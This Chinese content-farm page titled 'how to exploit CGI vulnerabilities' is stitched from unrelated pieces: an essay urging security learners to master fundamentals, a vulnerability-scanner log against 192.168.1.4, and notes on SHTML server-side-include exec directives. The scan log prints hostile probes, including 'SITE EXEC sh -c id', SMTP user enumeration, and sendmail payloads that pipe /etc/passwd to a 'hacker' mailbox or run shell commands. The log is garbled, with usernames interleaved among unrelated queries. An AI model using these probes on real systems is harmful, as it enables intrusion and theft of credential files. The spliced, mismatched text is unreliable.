CGI漏洞怎么利用

CGI漏洞怎么利用,第1张

我写这个并不是因为我已经厌倦了一遍又一遍地回答同样的问题,而是考虑到这确实是一个有意义的问题,其实很多人(90%)确实需要问这个问题而从来没有去问。

我被问了很多次有关安全领域的问题,比如:什么编程语言你最推崇?应该读什么书作为开始?总而言之,就是如何在安全领域内成为一个有影响的人。既然我的答案和一般的答案有所不同,我打算把我的看法说出来。

1.从哪里开始?

我的观点可能和一般的看法不同,如果你刚刚起步,我建议你不要从Technotronic,Bugtraq,Packetstorm,Rootshell等站点开始,没错?不要从那里开始(尽管它们是很好的站点,而且我的意思也并不是说不要去访问这些站点),原因十分简单,如果你以为通晓“安全”就是知道最新的漏洞,到头来你将会发现自己一无所获。

我同意,知道什么地方有漏洞是十分必要的,但是这些并不能够为你的高手之路打下坚实的基础,比如,你知道RDS是最新的漏洞,知道如何下载并使用对这个漏洞进行利用的Script工具,知道如何修补这个漏洞(也许,很多人只知如何攻击,不知道如何防护),可是,3个月后,补丁漫天飞舞,这个漏洞已经不存在了......现在你的那些知识还有什么用?而且你可能根本没有理解对漏洞的分析。

你应该学习的知识是什么?是分析?还是攻击手段?

这是我想要再次强调的,人们可能没有注意,已经有很多人认为他们只要知道最新的漏洞就是安全专家,NO!No!No!所有他们知道的只不过是“漏洞”,而不是“安全”。

例如:你知道有关于phf的漏洞,showcode.asp的漏洞,count.cgi和test.cgi的漏洞,但是你知道为什么它们会成为CGI的漏洞吗?你知道如何编一个安全的通用网关程序吗?你会根据一个CGI的工作状态来判断它可能有哪些漏洞或哪方面的漏洞吗?或者,你是不是只知道这些CGI有漏洞呢?

所以我建议你不要从漏洞开始,就当它们不存在(你知道我的意思),你真正需要做的是从一个普通用户开始。

2.做一个用户

我的意思是你至少要有一些基本的常规知识。例如:如果你要从事Web Hacking,你是否可能连浏览器都不会使用?你会打开Netscape,打开IE?很好!你会输入姓名,你知道HTML是网页,很好,你要一直这样下去,变成一个熟练的用户。你会区别ASP和CGI是动态的,什么是PHP?什么是转向,Cookies,SSL?你要知道任何一个普通用户可能接触到的关于Web的事物。不是进攻漏洞,仅仅是使用,没有这些基础的(也许是枯燥的)知识,你不可能成为高手,这里没有任何捷径。

好,现在你知道这里的一切了,你用过了。你在Hack UNIX之前你至少要知道如何Login,Logout,如何使用shell命令,如何使用一般的常用程序(Mail,FTP,Web,Lynx等)。

要想成为一个管理员,你需要掌握如下基本的操作。

3.成为一个管理员

现在你已经超过了一个普通用户的领域了,进入了更复杂的领域,你要掌握更多的知识。例如:Web服务器的类型,与其他的服务器有什么区别?如何去配置它,像这样的知识,你知道得越多就意味着你更了解它是如何工作的?它是干什么的?你理解HTTP协议吗?你知道HTTP1.0和HTTP1.1之间的区别吗?WEBDAV是什么?知道HTTP1.1虚拟主机有助于建立你的Web服务器吗?

你需要了解操作系统,如果你从来没有配置过NT,你怎么可能去进攻一个NT服务器?你从来没有用过Rdisk,用户管理器,却期望Crack一个管理员密码,得到用户权限?你想使用RDS,而你在NT下的操作一直使用图形界面?你需要从管理员提升到一个“超级管理员”,这不是指你有一个超级用户的权限,而是你的知识要贯穿你的所有领域。很好,你会在图形界面下添加用户,在命令方式下也能做到吗?而且,system32里的那些.exe文件都是干什么的?你知道为什么USERNETCTL必须要有超级用户权限?你是不是从来没有接触过USERNETCTL?不要以为知道如何做到就行了,要尽可能知道的更多,成为一名技术上的领导者,但是......

你不可能知道所有的事情。

这是我们不得不面对的事实。如果你认为你可以知道所有的事情,你在自欺欺人。你需要做的是选择一个领域,一个你最感兴趣的领域,并进一步学习更多的知识。

要想成为一名熟练用户,成为一名管理员,成为一名技术上的领导者,直至成为某一个领域中最优秀的人,不是仅仅学习如何使用web浏览器,怎样写CGI就行了,你知道HTTP和web服务器的原理吗?知道服务器不正常工作时应该怎样让它工作吗?当你在这个领域内有一定经验时,自然就知道怎样攻击和防护了

这其实是很简单的道理,如果你知道所有的关于这方面的知识,那么,你也就知道安全隐患在哪里。面对所有的漏洞(新的,旧的,将来的),你自己就能够发现未知的漏洞(你这时已经是一个网络高手了)

你找漏洞可以,但你必须了解漏洞的根源。所以,放下手中的Whisker的拷贝,去学习CGI到底是干什么的?它们怎么使通过HTTP的web服务器有漏洞的?很快你就会知道到底Whisker是干什么的了。

4.编程语言

在所有被问的问题中,最常听到的就是:“你认为应该学习什么编程语言?”

我想,这要看具体情况了,如你准备花费多少时间来学习?你想用这种语言做哪些事?想用多长时间完成一个程序?这个程序将完成多复杂的任务?

以下有几个选项。

Visual Basic

一种非常容易学习的语言。有很多关于这方面的书,公开的免费源代码也很多。你应该能够很快地使用它。但是这个语言有一定局限,它并不是诸如C++那样强大,你需要在windows下运行它,需要一个VB的编程环境(不论盗版还是正版的,反正它不是免费的)。想用VB来编攻击代码或补丁是十分困难的。

C++

也许是最强大的语言了。在所有的操作系统里都存在。在网上有上吨的源代码和书是免费的,包括编程环境。它比VB复杂,掌握它所需花费的时间也要比掌握VB多一些。简单的东西容易学,功能强大的东西理解起来也要困难一些,这需要你自己衡量。

Assembly

也许是最复杂的语言,也是最难学习的语言。如果你把它当作第一个要学习的语言,那么将会难得你头要爆裂。但是,先学会了汇编,其余的编程语言就变的很容易。市场上有一些这方面的书,但这方面的教材有减少的趋势。不过,汇编知识在某些方面至关重要,比如缓冲溢出攻击。

perl

一种很不错的语言。它像VB一样容易学习,也像VB一样有局限。但是它在多数操作平台中都能运行(UNIX和windows),所以这是它的优势。有很多这方面的书籍,而且它是完全免费的,你可以用它来制作一些普通的攻击工具。它主要用于一些文本方式的攻击技巧,并不适合制作二进制程序。

我想,这是所有你想知道的,有把握的说,c/c++是最佳选择。

你先看看这些吧

扫描目标:192.168.1.4

扫描选项:

FTP漏洞

SMTP漏洞

FINGER漏洞

CGI漏洞

IIS漏洞

RPC漏洞

查询share

查询USERS

查询GROUPS

查询TRANSPORTS

查询DATETIME

查询SERVICES

查询SESSIONS

查询REGISTRY

查询MORE

漏洞扫描引擎...开始扫描......

目标IP地址为:192.168.1.4

扫描目标主机开放的端口:

21号端口(ftp)开放!

25号端口(smtp)开放!

80号端口(http)开放!

110号端口(pop3)开放!

119号端口(nntp)开放!

443号端口(https)开放!

1433号端口(ms-sql-s)开放!

开始扫描FTP漏洞:

FTP服务器的Banner:

220 jdxy-virusclean Microsoft FTP Service (Version 5.0).

测试匿名用户

230 Anonymous user logged in.

根目录列表:

150 Opening ASCII mode data connection for /bin/ls.

尝试改变主目录属性为可写:

425 Can't open data connection.

500 'SITE chmod 777 /': command not understood

尝试建立目录:

550 ftpbug: Access is denied.

尝试执行Shell:

500 'SITE EXEC sh -c id': command not understood

开始扫描SMTP漏洞:

SMTP服务器的Banner:

220 jdxy-virusclean Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at Wed, 21 Jun 2006 14:47:10 +0800

214-This server supports the following commands:

214 HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH TURN ATRN ETRN BDAT VRFY

可以使用RCPT命令获得用户名列表.

可以使用VRFY命令获得用户名列表.

超时错误!

开始扫描FINGER漏洞:

目标没有开放FINGER服务...

开始扫描CGI漏洞:

WWW服务器的Banner:

HTTP/1.1 403 Access Forbidden

Server: Microsoft-IIS/5.0

Date: Wed, 21 Jun 2006 06:55:13 GMT

Content-Type: text/html

Content-Length: 172

开始CGI漏洞的扫描,由于扫描漏洞数量较多,请耐心等待...

发现/_vti_bin/shtml.dll漏洞

发现/_vti_bin/shtml.exe漏洞

开始扫描IIS漏洞:

WWW服务器的Banner:

HTTP/1.1 403 Access Forbidden

Server: Microsoft-IIS/5.0

Date: Wed, 21 Jun 2006 06:56:53 GMT

Content-Type: text/html

Content-Length: 172

开始IIS漏洞的扫描,由于扫描漏洞数量较多,请耐心等待...

开始扫描RPC漏洞:

目标没有开放RPC查询服务...

说明:扫描NTUSER漏洞:------此功能基于NT/2K以上版本的系统

开始查询SHARES:

列举netbios共享(尝试winnt/2000系统)...要等待一段时间...

NetBIOS Share Results----------------

Share Enumeration Error (0)

列举netbios共享(尝试win95/98)...要等待一段时间...

Share Enumeration Error (5)

开始查询USERS:

列举用户名...要等待一段时间...

User Enumeration Error:(1722)

开始查询GROUPS:

列举工作组...要等待一段时间...

开始查询TRANSPORTS:

列举netbios transports...要等待一段时间...

A system error has occurred: 53

Total of 0 entries enumerate

开始查询DATETIME:

列举时间...要等待一段时间...

A system error has occurred: 53

开始查询SERVICES:

尝试利用RCPT命令获得目标机上存在的一些常见用户名:

root

test

www

web

sybase

oracle

informix

guest

sam_exec

+

oracle8

access

user

ftp

account

backup

owc

datebase

public

info

列举服务...要等待一段时间...

Error with OpenSCManager

wais

news

开始查询SESSIONS:

列举空会话(NULLSESSION)...要等待一段时间...

Null Session NOT Established Error: 67.

列举空连接(NULLDISCONNECT)...要等待一段时间...

Null Session NOT Terminated Error: 2250.

bbs

adm

开始查询REGISTRY:

列举远程注册表...要等待一段时间...

sync

john

sports

china

检查decode别名:

检查漏洞

检查debug漏洞

检查kill漏洞

检查wiz漏洞

检查rcpt to: /tmp/.rhosts漏洞

检查+ +漏洞

检查RSET漏洞

检查mail from: |/bin/mail hacker </etc/passwd漏洞

检查RSET漏洞

检查mail from: |tail|sh漏洞

开始查询MORE:

RegConnectRegistry (HKEY_PERFORMANCE_DATA) ERROR: 53

远程解析主机信息...

OS is UNIX/LINUX or OS Detection Error 53:

扫描完毕!!!

RegConnectRegistry ERROR: 53

最近在给一个嵌入式设备做内嵌网页用到了shtml,网页服务器使用了CGI。

百度百科对SHTML的定义:

ssi是Server Side Include的

首字母缩略词

。包含有嵌入式服务器方包含命令的

HTML 文本。在被传送给浏览器之前,服务器会对

SHTML 文档进行完全地读取、分析以及修改。

shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,

服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来。

shtml的主要嵌入式ssi命令有

1.显示服务器端环境变量<#echo

2.将文本内容直接插入到文档中<#include

3.显示WEB文档相关信息<#flastmod #fsize (如文件制作日期/大小等)

4.直接执行服务器上的各种程序<#exec(如CGI或其他可执行程序)

5.设置SSI信息显示格式<#config(如文件制作日期/大小显示方式) 高级SSI<XSSI可设置变量使用if条件语句。

我主要用到的就是exec命令,格式:

<!--#exec cmd=文件名称--

<!--#exec cgi=文件名称--

SHTML和HTML的区别,如果用一句话来解释就是:SHTML 不是HTML而是一种服务器 API,shtml可通过服务器动态产成html. 虽然两者都是超文本格式,但shtml是一种用于SSI技术的文件。也就是Server Side Include--SSI 服务器端包含指令。如果Web Server有SSI功能的话(大多数(尤其是基于Unix平台)的WEB服务器如Netscape Enterprise Server等均支持SSI命令)。会对shtml文件特殊招待。先扫一次shtml文件看有没有特殊的SSI指令存在。有就按Web

Server设定规则解释SSI指令。解释完后跟一般html一起调去客户端。html或htm与shtml或shtm的关系是什么?html或者htm是一种静态的页面格式,也就是说不需要服务器解析其中的脚本,或者说里面没有服务器端执行的脚本,而shtml或者shtm由于它基于SSI技术,当有服务器端可执行脚本时被当作一种动态编程语言来看待,就如asp、jsp或者php一样。


欢迎分享,转载请注明来源:夏雨云

原文地址:https://www.xiayuyun.com/zonghe/309867.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-28
下一篇2023-04-28

发表评论

登录后才能评论

评论列表(0条)

    保存